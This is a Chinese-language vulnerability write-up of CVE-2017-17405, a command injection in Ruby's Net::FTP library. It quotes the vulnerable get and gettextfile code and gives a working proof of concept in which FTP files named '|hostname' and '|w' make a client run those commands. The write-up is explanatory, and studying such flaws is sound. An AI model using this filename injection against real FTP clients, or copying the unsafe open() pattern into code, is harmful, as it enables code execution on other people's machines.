CVE-2017-17405(Ruby Net::FTP存在命令注入)分析

Table of Contents

1 简述

Net::FTP模块中get、getbinaryfile、gettextfile、put、putbinaryfile和puttextfile函数允许指定localfile参数,该参数最终会传递到open函数,如果传递给open函数的文件名参数是以“|”开头,Ruby会打开一个管道句柄并执行后面的命令。

2 漏洞分析

运行这段代码,Ruby会执行系统的who命令:

f = open("|who", "r")
puts f.read

执行输出:

➜  /tmp ruby test.rb
lu4nx    tty2         2017-12-18 10:13 (:0)

我们看Ruby的Net::FTP的get函数实现:

def get(remotefile, localfile = File.basename(remotefile),
	blocksize = DEFAULT_BLOCKSIZE, &block) # :yield: data
  if @binary
    getbinaryfile(remotefile, localfile, blocksize, &block)
  else
    gettextfile(remotefile, localfile, &block)
  end
end

localfile默认是取的远程文件basename,并最终传递到getbinaryfile或gettextfile函数中。gettextfile的实现代码:

def gettextfile(remotefile, localfile = File.basename(remotefile)) # :yield: line
  result = nil
  if localfile
    f = open(localfile, "w")
  elsif !block_given?
    result = ""
  end
  begin
    retrlines("RETR " + remotefile) do |line, newline|
      l = newline ? line + "\n" : line
      f.print(l) if localfile
      yield(line, newline) if block_given?
      result.concat(l) if result
    end
    return result
  ensure
    f.close if localfile
  end
end

localfile传递到gettextfile中后,带入了open函数中。

如果远程FTP服务器中构造特殊文件名的文件,就可能导致使用Net::FTP模块的客户端执行命令。

3 漏洞测试

一台FTP服务器中,我放了两个文件特殊文件名的文件:

root@lx-debian:/srv/ftp# touch \|hostname
root@lx-debian:/srv/ftp# touch \|w
root@lx-debian:/srv/ftp# ls
|hostname  |w

漏洞测试代码:

require 'net/ftp'

ftp = Net::FTP.new()
ftp.connect("192.168.111.199")
ftp.login(user="anonymous")

ftp.ls() do |line|
  line = line.split
  filename = line[8]
  ftp.get(filename)
end

运行结果:

➜  /tmp ruby test.rb
lx-test-pc
 17:30:11 up  7:16,  1 user,  load average: 0.54, 0.53, 0.68
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
lu4nx    tty2      10:13    7:16m  7:10   9.02s i3

可见调用get函数后,特殊的文件名导致了本地执行了w和hostname两个命令。